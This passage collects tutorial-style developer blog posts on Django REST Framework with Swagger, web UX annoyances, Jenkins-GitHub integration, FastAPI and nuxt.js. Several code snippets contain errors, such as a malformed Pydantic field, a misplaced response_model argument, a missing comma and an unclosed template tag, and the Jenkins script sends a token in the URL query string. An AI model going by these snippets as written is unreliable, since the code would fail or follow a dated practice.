However, as your project grows, you will want to make sure your code is well-documented, both for your backend developers and front-end clients that consume your API.

In this blog post I will outline how to use Python 3.7 dataclasses to write type-annotated and documented code and OpenAPI (Swagger) to automatically document your API.

About dataclasses

The dataclass decorator, added in Python 3.7 provides some advantages when used in classes:

creates classes that provide automatic __init__() and __repr()__ methods
allows you to specify class attributes and their types using type annotation syntax
attributes and their types are discoverable programmatically, allowing other modules to use them as more than just syntactic syntax, for example for validation.

In this blog post I will be showing how dataclasses can be used for django rest framework serializers using djangorestframework-dataclasses. This allows you to define classes to use in your application and also have them serialized for Django input and output.

About OpenAPI

OpenApi (or Swagger) allows you to document your API using JSON. It also provides a front-end where people consuming your API can see the API documentation and try calls on the fly.

Installing OpenAPI support for DRF

For the OpenAPI renderer, pyyaml and uritemplate are required for generating the API yaml documentation:

pip install pyyaml uritemplate

Once the dependencies are installed, you can automatically generate your swagger documentation by including two routes.

Firstly, to generate the yaml that will be used by openapi, call get_schema_view to get the DRF view for use in your urls.py:

from rest_framework.schemas import get_schema_view

urlpatterns += [ 
   url(r'^openapi-schema', get_schema_view(
        title="Tutorial app",  # Title of your app
        description="tutorial app",  # Description of your app
        version="1.0.0",
        public=True,
    ), name='openapi-schema'), 
]

This will expose the schema yaml in the /open-api route. The schema will be automatically updated from your routes and serializers, and list all the URLs and their inputs and outputs.

Use the following request to check it out:

curl -HContent-Type:application/json http://localhost:8000/openapi-schema/ # mind the content-type
# Response:
openapi: 3.0.2
info:
  title: Tutorial app
  version: 1.0.0
  description: tutorial app
paths:
  /hello/hello/:
    get:
      operationId: helloPerson
      description: ''
      parameters: []
      responses:
        '200':
          content:
            application/json:
              schema:
                properties:
                  name:
                    type: string
                  age:
                    type: integer
                required:
                - name
                - age
          description: ''

Once the schema is generated, you can add Swagger UI to your API.

In order to do that, you can set up a static HTML page and load the scripts from a CDN, then render it as a template.

The HTML page, copied from the DRF documentation, is as follows:

<!DOCTYPE html>
<html>
  <head>
    <title>Swagger</title>
    <meta charset="utf-8"/>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" href="//unpkg.com/swagger-ui-dist@3/swagger-ui.css" />
  </head>
  <body>
    <div id="swagger-ui"></div>
    <script src="//unpkg.com/swagger-ui-dist@3/swagger-ui-bundle.js"></script>
    <script>
    const ui = SwaggerUIBundle({
        url: "{% url schema_url %}",
        dom_id: '#swagger-ui',
        presets: [
          SwaggerUIBundle.presets.apis,
          SwaggerUIBundle.SwaggerUIStandalonePreset
        ],
        layout: "BaseLayout"
      })
    </script>
  </body>
</html>

SwaggerUIBundle will automatically generate your UI, you don’t need to do anything else. The only interesting value here is schema_url, which should point to your schema URL defined above.

You can then load this template by adding the following to your urlpatterns:

url(r'docs/', TemplateView.as_view(
    template_name='swagger-ui.html',
    extra_context={'schema_url': 'openapi-schema'}
), name='swagger-ui'),

Load the /docs/ route in your browser. If everything has been configured correctly, you should see the Swagger UI.

The Swagger UI allows you to see all of your API’s routes and parameters required, and even try API calls on the fly!

Installing the Dataclass serializer for DRF

As mentioned earlier, dataclass serializer allow you to convert python dataclasses to JSON and vice-versa, offering validation on user data.

Consider the following dataclass:

@dataclass
class Person():
  name: str
  age: int

Your users can submit JSON data with the name and age properties, and djangorestframework-dataclass will validate the data and deserialize into a Person object that you can directly use in your domain methods.

To install the module:

pip install djangorestframework-dataclasses

After installation, all you have to do to write your serializer is to inherit from DataclassSerializer and set the dataclass meta property.

class PersonSerializer(DataclassSerializer):
    class Meta:
        dataclass = Person

You can now use PersonSerializer in your API as normal.

from django.http import JsonResponse
from rest_framework.decorators import action
from rest_framework.viewsets import GenericViewSet

from tutorial.serializers import Person, PersonSerializer


class PersonViewSet(GenericViewSet):
    serializer_class = PersonSerializer

    @action(detail=False, methods=['post'])
    def get_age(self, request):
        person_serializer = PersonSerializer(data=request.data)

        if (not person_serializer.is_valid()):
            return JsonResponse(person_serializer.errors)

        person: Person = person_serializer.validated_data # will return a Person object

        return JsonResponse({'age': person.age})

person_serializer.validated_data will return an object of the Person class. This allows you to use your dataclasses as you want throughout your application.

What is more, the swagger documentation we implemented earlier allows you to see the input and output format for your person objects, provided by your serializers.

Click “try it out” to submit a person object with any values:

Once data is submitted, you can see the server response, allowing you to easily test and debug your API.

Conclusion

In conclusion, Swagger UI is a powerful documentation tool that can automatically generate documentation for any Django-Rest-Framework API. You can use it with any type of DRF serializer (such as ModelSerializer), but if you are wanting to use dataclasses and types for documentation, dataclass-serializer gives you an extra advantage: your code is documented not only for your frontend consumers but also for your backend developers

13 ways the Internet is broken - #9 will shock you!

Erry Kostala — Sat, 21 Dec 2019 12:27:56 +0000

The web has been changing the past few years, not necessarily always for the better. There has been an emergence of anti-patterns, which are patterns that stand to try to make a profit without caring about the user experience, or often by hindering it.

These patterns are problematic, not only because they frustrate users, but also because by worsening user experience, one cannot expect people to keep using the website. I have seen so many things that have made me close a website and never come back, and I don't understand how this can be a profitable business model for any business. Yet people keep doing it, so it must be increasing their profits somehow.

I hope to look into some of these patterns in this post, and explain why I don't like them.

Notice: The following sections will contain screenshots of websites, mostly news websites as they are high-volume, popular websites and often exhibit one or more of the anti-patterns. While we may all have our own opinions on some of the articles displayed, that is not the point of this blog post. Therefore, I will not be approving any comments about the articles. If you want to know where I stand on those issues, hit me up at @errietta on twitter.

1 - Ads or videos taking up half the screen height on mobile.

Seriously. I'm trying to read the article here. If I wanted to watch a video, I would be on youtube!

2 - Ads that load late and make content "jump"

It was difficult to take a screenshot here, but what I mean is that some websites don't load ads in correctly-sized containers (or containers at all). This means that when the ads load, it'll push the content down, as there is now a larger element taking up space above the text.

Before and after advertisements load: The ads push the comments box below the fold.

3 - Recaptcha

Now, I know that recaptcha is very useful in telling bots apart from real users. And most of the time, if you've solved the puzzle before, you can just tick a box. The issue comes if, for whatever reason (such as private browsing), you have to do the challenge again. To be fair, these challenges are usually easy, but sometimes you will be unlucky and make a mistake, such as not seeing something in a tiny part of the image, or because the image is low quality, then have to start over. So frustrating.

Surely, Google isn't using recaptcha to train a self-driving car...

4 - Autoplaying videos

Bonus points if the video has sound.

Picture this: You're on the early morning train, scrolling through your facebook feed, then some ad blasts music and annoys all the other commuters. Why.

Yes, you can turn it off in some apps. But it's still on by default. Plus some websites will not have an option to turn it off themselves, requiring you to mess with your browser.

5 - Websites asking to deliver push notifications

Unless you're my email or Slack app, I do not want your notifications. STOP asking me! What is worse, on mobile, this prompt will block the rest of the content until you block or allow.

"Absolutely not. Now let me read up on the latest horrible news!"

6 - Sites that ask for your location

I understand that it's convenient in a lot of cases, in which case, I don't really mind. But it would be better if they asked when you did something location-specific, not right away.

It seems that every single website nowadays wants the right to spy on your every move.

Google knows everything about me as well as where I am at all times. Hooray.

7 - "Subscribe to our newsletter!"

Don't you hate it when every website in existence seems to ask for you to subscribe to their newsletter? I very rarely take them up on their offer. It's good to be reminded about new blog posts in Interesting websites (although, no, this site does not have a newsletter), but other than that, I don't need that junk mail.

No, go away! I'm trying to give you money!

8 - Blocking ad blockers

sigh Alright, I'll whitelist it.

I understand websites need ads to make money, but the reason why I chose to use an ad blocker is that many websites have so many ads with moving pictures or videos that it's a) incredibly distracting and b) really makes my PC struggle.

argh

I have my ad blocker set to allow acceptable ads anyway. By "acceptable" they mean not ads that get in the way of UX. It is possible to have the ads not be a terrible use of RAM!

9 - Clickbait

But first, a short word from our sponsor-- haha, just kidding! So, what's the issue with writing catchy headlines to get views? Well, buzzfeed-like headlines such as "X ways Y happens! #2 will shock you" can be harmless for the most part.

But sometimes, clickbait is used to attract attention to false information. People will sometimes read the title without reading the article (hey I'm guilty of it myself!). If your headline is making things look way more serious than they actually are, then that helps the spread of fake news. Plus, many of those clickbaity articles are basically ads disguised as articles anyway.

Why did I use a clickbait title for this post? Parody, obviously.

10 - Bad privacy prompts

Since the European laws about Cookies and GDPR came into effect, privacy prompts have been getting more and more intrusive. We get it, you want to track us, and you have to get our consent early in the journey, so the best thing seems to be to show a popup (it's not).

Not all of those prompts are terrible, but sometimes opting out is more difficult than it should be, either because you have to manually opt out, or because it's extremely slow. Why is this such a broken journey? Do you hate your users? Or are you just hoping they passively click "ok" at everything, because I sure just click OK.

What do you mean "requires opt-out"? Why are there that many third-party vendors setting cookies on your site? WHAT IS GOING ON

11 - Blocking EU visits because you cannot deal with GDPR

This is a pretty bad new strategy by some websites based outside Europe: Instead of trying to follow GDPR, they just ignore it, and in order to not get sued, just refuse to serve any EU IP addresses. I guess losing part of your user base is better than getting a GDPR lawsuit, but it would be even better to try to comply!

On a related note, what are they doing with our personal data that's against the GDPR? Do I even want to know?

This website example was provided by Sigute Kateivaite, who just wanted to buy some darn clothes.

12 - Expiring sessions too early

Unless you're a bank, or a similar kind of business that holds very private information about your users, your sessions can be longer than 30 minutes long.

I will never forget the time I lost a whole job application due to being kicked out of the site when trying to submit. ARGH, THE PAIN.

13 - Doing everything at once

WHAT IS THIS I LITERALLY JUST WANT TO READ THE **** ARTICLE

Do I even need to expand on this one? No? Good. Alright, happy new year, mortals.

I'd like to thank the people in my slack groups who gave me inspiration. If you didn't see your suggestion here, it's because I had way, way more suggestions than I expected. I thought I'd struggle to fill this list, but it was very easy. For the avoidance of doubt, that's not a good thing, since it proves how broken the Web has got.

Making Jenkins Behave 2: Electric Boogaloo

Erry Kostala — Sun, 15 Sep 2019 15:12:28 +0000

That’s right, as promised, I’m going to torture myself with Jenkins some more, this time with multi-branch pipelines!

If you missed it, I recently wrote a blog post in which I explained how to integrate Jenkins and Github with freestyle jobs. In that post, I stipulated that were I able to use Multi-Branch pipelines, my life would have been much easier. Well, it’s true. Sort of. Multi-branch pipelines, once you get them working are much, much better than freestyle jobs. As you may have guessed, the problem is the initial setup, because Jenkins has incredibly cryptic error messages. Thanks pals.

Anyway, I’ve figured it out so you don’t have to, so let’s get started!

The first thing you want to do is set up your github user account and repository, before you even touch Jenkins. Unlike last time, where the order of things didn’t matter , this time it’s extremely important if you want everything to go smoothly.

Navigate to your personal access tokens settings on Github. You want to create a token with the following permissions:
admin:org_hook, admin:repo_hook, repo, user:email
They’re a bit more powerful than last time, but that does mean that Jenkins can set up the repo hooks for you so you don’t have to.

Now go to your repository and create a Jenkinsfile. That’s right, we’re creating the CI/CD pipeline before we’ve even touched Jenkins at all. This is because if Jenkins doesn’t find a Jenkinsfile, it pretends that your credentials are wrong and sends you on a wild goose chase, even if they’re absolutely fine. So just pick one of the hello world examples – it really doesn’t matter what, and all they do is display a version string, but you really want a valid Jenkinsfile.

Now go to Jenkins and click create new job or new item, and select multi-branch pipeline. Coincidentally, if this is the first time you’ve ran Jenkins, you might get an infinite loading screen. If that happens, just turn it off and back on again.

“Hello, IT, have you tried turning it off and on again?”

Click the “add source” dropdown and select Github.
Within credentials, click ‘add’ and select ‘Jenkins’.
Keep Kind as ‘username with password.
As username, enter your github username
As password, enter the access token from earlier. If you’ve lost it, like I have, you can just regenerate it provided it’s not being used anywhere else.
Under repository https url enter the url of your repository, which can be a private repo.

Now if you click apply and save, your github repo should have a new webhook!

If it’s worked so far, you may be tempted to click on “Scan repository now”. Bad idea. It won’t work, and it will confuse you.

What you ACTUALLY have to do, is commit a change to master (or whatever branch has the Jenkinsfile). If you do that, and wait a minute, it should automatically build!

Jenkins showing the branches

The commit on Github will also be updated to show success or failure.

Github commit updates

You’ll also see PR status!

PR status is shown

As you can see, Multi-branch pipelines are already much easier to work with! I just wish Jenkins weren’t so cryptic – I wasted way too much time thinking it wasn’t working because I either hadn’t given it enough permissions, or I thought scanning was supposed to work.

Hope you have found this informative! Maybe next time I’ll dive deeper into multi-branch pipelines and build something cool!

Making Jenkins and Github ACTUALLY integrate with each other

Erry Kostala — Thu, 22 Aug 2019 14:31:20 +0000

You may need to build jenkins jobs when branches/PRs are made from within the repository – say, to run tests. You may also want to report on the test status when finished. And you may have found doing this quite frustrating. If these things are true, join me on a journey…

Introduction

For a work project, I needed to integrate Jenkins tests with Github repositories. Basically, we make pull requests from branches within the repository against master, and then merge them when review and testing passes. For running automated tests, we use Jenkins, and so we want to be able to trigger the jenkins job when a PR is created and also change the PR check status to passed or failed depending on the results.

Assumptions

There are many different ways of doing these things, so it’s quite important that I list my assumptions early on so that you don’t waste your time reading a blog post that doesn’t actually help you. These assumptions held true for the case that I wanted to solve, and your circumstances may well be different.

You don’t use Jenkins multibranch pipelines – if you do, certain things will be easier, but there still may be information here that helps you.
You want to build PRs from branches within the same repository (as is the case for most private/corporate projects) rather than PRs from forks (as is the case for most FOSS projects).

Requirements

2GB of RAM or more, Jenkins is very memory hungry…
A Jenkins installation – if you’re like me and don’t want to experiment on your company’s actual Jenkins install, it may be smart to invest in a Linux box such as a DigitalOcean, AWS, Linode, or other cloud provider virtual machine. Since it needs to be able to receive Github webhooks, it has to be accessible from the Internet, or from wherever you’re hosting your Github Enterprise instance. Thus, you unfortunately most likely can’t get away with just playing with this on a local VM or docker container – sorry! But some of the cloud providers mentioned above have hourly pricing, so it shouldn’t cost you too much.
A Github project that you want to integrate with, duh!
A way to relax (trust me, you’ll need it…)
A lot of patience

Setup

Github Access

The first step is setting up Github settings in a way that allow Jenkins to update PR status. Technically, it doesn’t matter if you do this step or the next step first, but it’s part of laying down the groundwork for later. Unfortunately, as much as we try to group things that need to be done in Github and Jenkins separately, we’ll need to go between the two platforms quite a lot, so get ready for that.

Having said that, I’ll try to put as many things that are done on a single platform together as physically possible, so if something doesn’t make sense right away, don’t worry, it’ll all come together eventually. I hope.

Make a user with write access

First, make sure you have a user with write access to your repository that you can use for this. Don’t worry, we won’t end up allowing Jenkins to have full write access, but due to how Github works this is required. You can use an already existing user or make a new one and you can lock it down as much as you feel you need to to make sure it’s safe.

Create a personal access token

Personal access tokens allow access to the Github API by using a token instead of your username and password. In addition to this, they can be locked down to only have the permissions that are absolutely necessary. As such, this is one of the safest ways to integrate with any service.

Go to Github Settings (Accessible by clicking on your avatar on the top right)
Click on developer settings near the bottom.
Click on personal access tokens.
Click generate new token
For this, the only required scope is “repo:status“. This means that the token that you are generating can be used to update commit status, but can’t be used for anything else.
Save the token somewhere, you won’t be able to get it again. We’ll need it again later on in the post to set up Jenkins integration.

Jenkins plugins & setup

Now that that’s done, we need to do the groundwork to allow Github to trigger Jenkins builds, so let’s head over to our jenkins install for this next step.

For this task, you just need the Github plugin for Jenkins. This provides a webhook URL, which is <YOUR_JENKINS_INSTANCE_URL/github-webhook>. You can visit that URL manually to see if it works; if you see “Method POST required” then it’s already set up.

Integration

Now that you have Github access set up and the Jenkins plugin installed, it’s go time!

Create Jenkins job

If you already have the job you want to use, you can edit it so that it matches these settings instead.

Go to your Jenkins install
Click ‘create item‘
Click ‘freestyle project’ – once again we’re assuming you’re not using pipelines. If you are, then your life is much easier.
Tick github project and add your project URL
Add the repository in source code management – this requires either the credentials of a user with at least read-only access, or for your repository to be public.
Leave branches to build blank so you can build PR branches.
Select at least the ‘GitHub hook trigger for GITScm polling’
Add a build step that runs your tests; I’ll leave this one to you.
Click ‘save’ for now; we will need to make more edits later, but it’s good to get the base case working first.

Trigger Jenkins builds from Github

Remember the github-webhook URL from earlier? It’s that url’s time to shine. Time to add it as a webhook in our github repo, so that it triggers builds.

Go to settings within your github repo
Click on Webhooks
Put the payload URL as the URL from earlier, e.g. YOUR_JENKINS_INSTANCE_URL/<github-webhook>.
Select “send me everything“. I’m not sure it’s required but it really doesn’t matter.
Save the webhook.

Now, make a PR with at least one commit. If all goes well, you should see the job build in jenkins:

If it doesn’t go well, click ‘Github Hook Log‘ and hope that you can diagnose the problem. If not, you may need your patience and ways of relaxing from the Requirements section, plus a heavy dose of StackOverflow.

At this stage, github won’t report the job status. This is normal! We’ll fix this in the next step!

Reporting the job status

I’d advise taking a break at this point, because this is by far the most frustrating step.

Welcome back! Hopefully you’ve had a long meditation session/drink/whatever keeps you sane when doing really annoying things.

Now it’s time to get to the final and most frustrating part of the process – actually updating GH build status. Are you ready?

Creating a jenkins secret to store the token

Did you save the token earlier? No? Don’t worry, you can just make another. Now that you have a token, time to store it securely* in Jenkins.

* They’re encrypted but can be decrypted if someone has access to the jenkins instance. Hopefully, you’ve secured it, right?

Click credentials from the home page
Click on the credential store where you want to store it. If you have no idea what that means (I sure don’t), click on the ‘Jenkins’ store.
Click on the domain, such as “global credentials”
Click on “add credentials”
Kind is “secret text”
The secret is your token from earlier.
Select a meaningful id and description

Add the secret to your job

Go back to your jenkins job and click on ‘configure’, which is conveniently placed right next to the ‘delete job’ button, which you don’t want to accidentally click.
Within “Build environment”, check Use secret text(s) or file(s)
In bindings, select ‘secret text’. This should expand a new dialog.
In variable, type in the name of the environment variable you want to use, such as GH_TOKEN
Select “Specific Credentials” and select the id of the secret you made in the previous step

Report status to github

Now, it’s time for the true task! Report the status back to Github. While still on the same configure page, it’s time to tweak the build job slightly.

Put the following before running your test command, to set the status as pending:

export REPO_NAME='YOUR_REPO_NAME'
export JOB_NAME='YOUR_JOB_NAME'


curl "//api.GitHub.com/repos/$REPO_NAME/statuses/$GIT_COMMIT
      ?access_token=$GH_TOKEN" \
-H "Content-Type: application/json" \
-X POST \
-d "{
    \"state\": \"pending\",
    \"context\": \"jenkins/$REPO_NAME\",
    \"description\": \"Jenkins\",
    \"target_url\": \"//YOUR_JENKINS_URL/job/$JOB_NAME/$BUILD_NUMBER/console\"
}"

This will set your git commit to pending!

Now, because we’re not using pipelines, and because you don’t want the job to stop if it fails, you need to change your test command. So if your command is, say, bash test.sh, you need to change it thusly, so that you capture if it succeeds or not. This makes the assumption that your command will return a non-zero status if it fails, which is true for most test frameworks.

First export TEST_ERROR=0, we’ll use this to store the error if any

Change your command from bash test.sh to bash test.sh || TEST_ERROR=$?

Now, when you want to report the status, you can check if we caught an error or not:

if [ $TEST_ERROR -eq 0 ] ; then
    curl "//api.GitHub.com/repos/$REPO_NAME/statuses/$GIT_COMMIT
          ?access_token=$GH_TOKEN" \
    -H "Content-Type: application/json" \
    -X POST \
    -d "{
        \"state\": \"success\",
        \"context\": \"jenkins/$REPO_NAME\",
        \"description\": \"Jenkins\",
        \"target_url\": \"//YOUR_JENKINS_URL/job/$JOB_NAME/$BUILD_NUMBER/console\"
    }"
else
    curl "//api.GitHub.com/repos/$REPO_NAME/statuses/$GIT_COMMIT?access_token=$GH_TOKEN" \
    -H "Content-Type: application/json" \
    -X POST \
        -d "{
        \"state\": \"failure\",
        \"context\": \"jenkins/$REPO_NAME\",
        \"description\": \"Jenkins\",
        \"target_url\": \"//YOUR_JENKINS_URL/job/$JOB_NAME/$BUILD_NUMBER/console\"
    }"


    exit $TEST_ERROR
fi

This will run a hook to update to success or failure, depending on the value of $TEST_ERROR. It’ll also exit with a non-zero status if there was a failure before, telling jenkins to record the failure as well.

That’s it!

If you’ve done everything right, you should see the status reported to GH, either success or failure:

Congratulations! After much pain, you have a working integration.

Further steps

You probably want to look into jenkins multibranch pipelines so you can at the very least programmatically act on build status without having to write a hacky shell script.

Thanks

Thanks to the blog posts “adding a github webhook in your jenkins pipeline” and “how to update jenkins build status in github”, which were extremely helpful to me. Even though I couldn’t directly replicate what they did, my solution is really a Frankenstein’s monster-style stitch up of both of them, so yay for them.

Thanks for the wonderful folks at the jenkins artwork page for the image used as a featured image for this post. As much as I complain about jenkins, it’s probably one of the most powerful CI tools I’ve ever used.

And thank you for reading! Let me know if you want me to make myself suffer further by making a write-up about multi branch pipelines! I’m sure watching me attempt to write Groovy will be amusing to someone…

And apologies if this post seems more passive-aggressive than my usual style, but to my defense this was a real adventure…

Share your thoughts on microservices

Erry Kostala — Thu, 20 Jun 2019 08:14:37 +0000

Hi everyone!

I was just wondering what other people who work with microservices do to make sure everything gets done right.

More specifically:

If say two services try to modify the same data at the same time, how do you prevent that? e.g. Using Redis as a fast cache to have a distributed lock?
If for example you want to reduce a user's balance then decrease an inventory amount (assuming those are different services), what do you do if two people are trying to buy the last item? What if a person tries to buy something twice?

Any good reads on distributed systems like that?

Thanks

Introduction to the fastapi python framework

Erry Kostala — Thu, 30 May 2019 20:20:35 +0000

I have been working on a new python-based API recently, and on a colleague's suggestion we decided to use fastapi as our framework.

Fastapi is a python-based framework which encourages documentation using Pydantic and OpenAPI (formerly Swagger), fast development and deployment with Docker, and easy tests thanks to the Starlette framework, which it is based on.

It provides many goodies such as automatic OpenAPI validation and documentation without adding loads of unneeded bloat. In my opinion, it's a good balance between not providing any built-in features and providing too many.

Getting started

Install fastapi, and a ASGI server such as uvicorn:

* Make sure you're using python 3.6.7+; if pip and python give you a version of python 2 you may have to use pip3 and python3. Alternatively check out my post on getting started with python.

pip install fastapi uvicorn

And add the good old "hello world" in the main.py file:

from fastapi import FastAPI

app = FastAPI()


@app.get("/")
def home():
    return {"Hello": "World"}

Running for development

Then to run for development, you can run uvicorn main:app --reload

That's all you have to do for a simple server! You can now check //localhost:8000/ to see the "homepage". Also, as you can see, the JSON responses "just work"! You also get Swagger UI at //localhost:8000/docs 'for free'.

Validation

As mentioned, it's easy to validate data (and to generate the Swagger documentation for the accepted data formats). Simply add the Query import from fastapi, then use it to force validation:

from fastapi import FastAPI, Query


@app.get('/user')
async def user(
    *,
    user_id: int = Query(..., title="The ID of the user to get", gt=0)
):
  return { 'user_id': user_id }

The first parameter, ..., is the default value, provided if the user does not provide a value. If set to None, there is no default and the parameter is optional. In order to have no default and for the parameter to be mandatory, Ellipsis, or ... is used instead.

If you run this code, you'll automatically see the update on swagger UI:

Swagger UI allows you to see the new /user route and request it with a specific user id

If you type in any user id, you'll see that it automatically executes the request for you, for example //localhost:8000/user?user_id=1. In the page, you can just see the user id echoed back!

If you want to use path parameters instead (so that it's /user/1, all you have to do is import and use Path instead of Query. You can also combine the two

Post routes

If you had a POST route, you just define the inputs like so

@app.post('/user/update')
async def update_user(
    *,
    user_id: int,
    really_update: int = Query(...)
):
    pass

You can see in this case user_id is just defined as an int without Query or Path; that means it'll be in the POST request body. If you're accepting more complex data structures, such as JSON data, you should look into request models.

Request and Response Models

You can document and declare the request and response models down to the detail with Pydantic models. This not only allows you to have automatic OpenAPI documentation for all your models, but also validates both the request and response models to ensure that any POST data that comes in is correct, and also that the data returned conforms to the model.

Simply declare your model like so:

from pydantic import BaseModel


class User(BaseModel):
    id:: int
    name: str
    email: str

Then, if you want to have a user model as input, you can do this:

async def update_user(*, user: User):
    pass

Or if you want to use it as output:

@app.get('/user')
async def user(
    *,
    user_id: int = Query(..., title="The ID of the user to get", gt=0),
    response_model=User
):
  my_user = get_user(user_id)
  return my_user

Routing and breaking up bigger APIs

You can use APIRouter to break apart your api into routes. For example, I've got this in my API app/routers/v1/__init__.py

from fastapi import APIRouter
from .user import router as user_router


router = APIRouter()

router.include_router(
    user_router,
    prefix='/user',
    tags=['users'],
)

Then you can use the users code from above in app/routers/v1/user.py - just import APIRouter and use @router.get('/') instead of @app.get('/user'). It'll automatically route to /user/ because the route is relative to the prefix.

from fastapi import APIRouter

router = APIRouter()


@router.get('/')
async def user(
    *,
    user_id: int = Query(..., title="The ID of the user to get", gt=0),
    response_model=User
):
  my_user = get_user(user_id)
  return my_user

Finally, to use all your v1 routers in your app just edit main.py to this:

from fastapi import FastAPI
from app.routers import v1


app = FastAPI()

app.include_router(
    v1.router,
    prefix="/api/v1"
)

You can chain routers as much as you want in this way, allowing you to break up big applications and have versioned APIs

Dockerizing and Deploying

One of the things the author of fastapi has made surprisingly easy is Dockerizing! A default Dockerfile is 2 lines!

FROM tiangolo/uvicorn-gunicorn-fastapi:python3.7

COPY ./app /app

Want to dockerize for development with auto reload? This is the secret recipe I used in a compose file:

version: "3"
services:
  test-api:
    build: ..
    entrypoint: '/start-reload.sh'
    ports:
        - 8080:80
    volumes:
        - ./:/app

This will mount the current directory as app and will automatically reload on any changes. You might also want to use app/app instead for bigger apps.

Helpful links

All of this information came from the fastapi website, which has great documentation and I encourage you to read. Additionally, the author is very active and helpful on Gitter!

Conclusion

That's it for now - I hope this guide has been helpful and that you enjoy using fastapi as much as I do.

Porting my personal website to nuxt.js

Erry Kostala — Sat, 19 Jan 2019 20:49:35 +0000

My personal website is one of the places where I can easily experiment, and it has been written and rewritten a few times. Having said that, laziness meant that it was stuck on its previous PHP-laravel implementation for a while.

PHP was one of the first things I learned as a developer, and at the time I was learning some frameworks at University and thought Laravel was a decent way of organising my code.

In the recent years I’ve been experimenting with newer technologies like node.js, and I believe server-side rendering of Single Page Apps gives you the best of both worlds in a way: the advantages in development speed, service workers, and frameworks for organising frontend code of SPAs and the SEO advantages of a server-rendered app

In this case, I chose vue.js as it’s a lightweight and simple to use framework, and in particular nuxt.js which allows you to do Server-side rendering (SSR) with Vue.js and a server framework of choice such as express. Essentially, nuxt (vue SSR) is good old vue.js with the first page load being rendered on the server, so that search engines can still parse the content. Additionally, it’s easy to implement API routes to execute server-side code with node.js.

In this article, I’ll explain how I achieved this for this website. Note that I do recommend looking into the basics of vue.js and node.js before reading this guide, as I will assume knowledge on them.

Creating the app

The first thing to do is to install create-nuxt-app (npm install -g create-nuxt-app). Then, we can use this to get the boilerplate for our app: npx create-nuxt-app errietta.me-nuxt

If you observe the created directory, you’ll see… A lot of boilerplate!

Not all of those directories are needed, but it’s worth keeping them around until you know what you’ll need for your project.

The nuxt.js directories

This is a quick introduction to the directories created by nuxt.js; feel free to skip this section if it’s not interesting to you.

assets contains files such as svgs and images that are loaded by webpack’s file-loader. This means you can require them within your javascript code.
* This is in contrast to the static directory, from which files will just be served by express as static files.
components contains all the parts that make up a page, such as a Logo component, or a Paragraph component, or a BlogPost component. These are like the building blocks for your pages.
layouts This is a way to create a wrapper or multiple wrappers around your page content, so that you can have common content around your page such as headers, footers, navbars, and so on.
middleware is a way to run code before your pages are rendered. You may want to check if a user is authenticated, for example.
pages is where the main code of your pages go. pages can fetch data via AJAX and load components. This is code that will be executed by both the client and server, so if you have code you only want to execute on the server, you want it accessible by an HTTP api that your pages code can use.
plugins is a directory to include third party plugins.
server is your express (or other framework) server code. You can just use the framework as normal, provided you keep the code that nuxt.js auto-injects, which takes care of the SSR for you. This is where you can create your APIs that will be accessed by either the server on page load or through AJAX by your SPA.
store contains code for your VUEX store.

Developing the application

Now that we know what the directories are about, it’s finally time to get our hands dirty. In the metaphorical sense, of course. Please don’t type with dirty hands… For my pages, it was mostly static content, so it was easy going. For example, index.vue is the default home page, and I started by standard vue.js code:

<template>
  <div>
    <h1>Hello world!</h1>
     Welcome to my website.
  </div>
</template>

<script>
export default {
  name: 'Index',
  components: { },
  props: { },
  asyncData( { } ) { }
  computed: { }
}
</script>

<style scoped>
h1 {
  font-size: 200%;
}
</style>

Nothing out of the ordinary so far. However, my website’s homepage continues the excerpts of my latest blog posts, and in order to retrieve that I want to parse my blog’s RSS. I wanted to do the actual work on the node.js server side, so that I can replace it by a proper API call later on if I wish. In this case, I could call this code from both client and server side, but there are cases that you want server side only code such as database connections, so this is a good example of it.

What I mean by that is that the code to actually fetch the blog posts will always be executed by the node server. The SPA will simply load data from that server, either on load when it’s rendered, or by an HTTP request as explained earlier.

Hopefully the below diagram explains what happens:

# Case 1: initial page load

VUE SSR (node) --HTTP--> express api (node) --> blog RSS

# Case 2: content loaded by HTTP on SPA

VUE (browser)  --HTTP--> express api (node) --> blog RSS

You can therefore see that no matter the entry to the app, the business logic only exists and is executed on the node layer. My next step here was to create server/api/posts.js to create said business logic:

const Parser = require('rss-parser')

const postsApi = async (req, res) => {
  const posts =  await parser.parseURL('https://www.errietta.me/blog/feed')
  // transform data to a uniform format for my api
  return res.json(posts)
}

module.exports = postsApi

This is a simplified version, I have some more logic on github if you’re curious, but it doesn’t matter; the main point is that the retrieval of the data is done on nodejs. Now, we can add this route to server/index.js before the app.use(nuxt.render) line. This is because the nuxt middleware will handle all routes that are not handled by other middleware.

  app.use('/api/posts', require('./api/posts'))
  app.use(nuxt.render)

Now we simply need to call this API in the asyncData section of our page. asyncData is a nuxt function that is executed both on rendering the content on the server side and client side. We already have asyncData in index.vue so we can modify it.

  asyncData({ $axios }) {
    return $axios.get('api/posts').then(res => ({ posts: res.data })).catch((e) => {
      // eslint-disable-next-line
      console.log(e)
      return { posts: [] }
    })
  },

Note that we are getting $axios from the object passed to the function. This is the nuxt.js axios plugin, which has special configuration to work with vue. It works the same way as a regular axios instance, so as you can see we are performing an HTTP request to our API. Note that this will perform an HTTP request no matter if it’s done through the server or client, but because the server-side request is done locally it should not impact performance.

So far, the posts are not used anywhere. Let’s make a posts component in components/Posts.vue

<template>
  <div>
    <div v-for="item in posts" :key="item.id">
      <h4>
        <a :href="item.link">
          {{ item.title }}
        </a>
      </h4>
      <p v-html="item.content" />
    </div>
  </div>
</template>

<script>
export default {
  name: 'Posts',
  props: {
    posts: {
      type: Array,
      default: () => []
    }
  }
}
</script>

Note: be careful with v-html. In this case I somewhat trust my blog’s RSS, but otherwise this can be a field day for someone wanting to play around with XSS attacks. Either way, this is just a straight forward component that shows the post excerpt and a link to the post. All we have to do is include it in index.vue.

import Posts from '../components/Posts.vue'

export default {
  name: 'Index',
  components: {
    'app-posts': Posts
  },
  ...
}

Then use it:

<template>
  <div>
    <h1>Hello world!</h1>
     Welcome to my website.
  </div>
  <div>
    <h2>blog posts</h2>
    <app-posts :posts="posts" />
</template>

Note that we are binding posts to the posts property which comes from asyncData. It works the exact same way as data! If everything is done correctly you should be able to see the blog posts on your page. Congratulations, you’ve made your vue SSR app! Additionally, if you “view source” you will notice that the blog posts are already rendered on page load. No client side JS is actually required here, thanks to SSR!

Deploying

As I mentioned, my website was an existing platform deployed on digital ocean behind nginx. Plus, it hosts my wordpress blog on the same domain, and I didn’t want to change either. Therefore, the node app had to sit behind nginx. It’s a good idea to have some sort of proxy in front of express anyway.

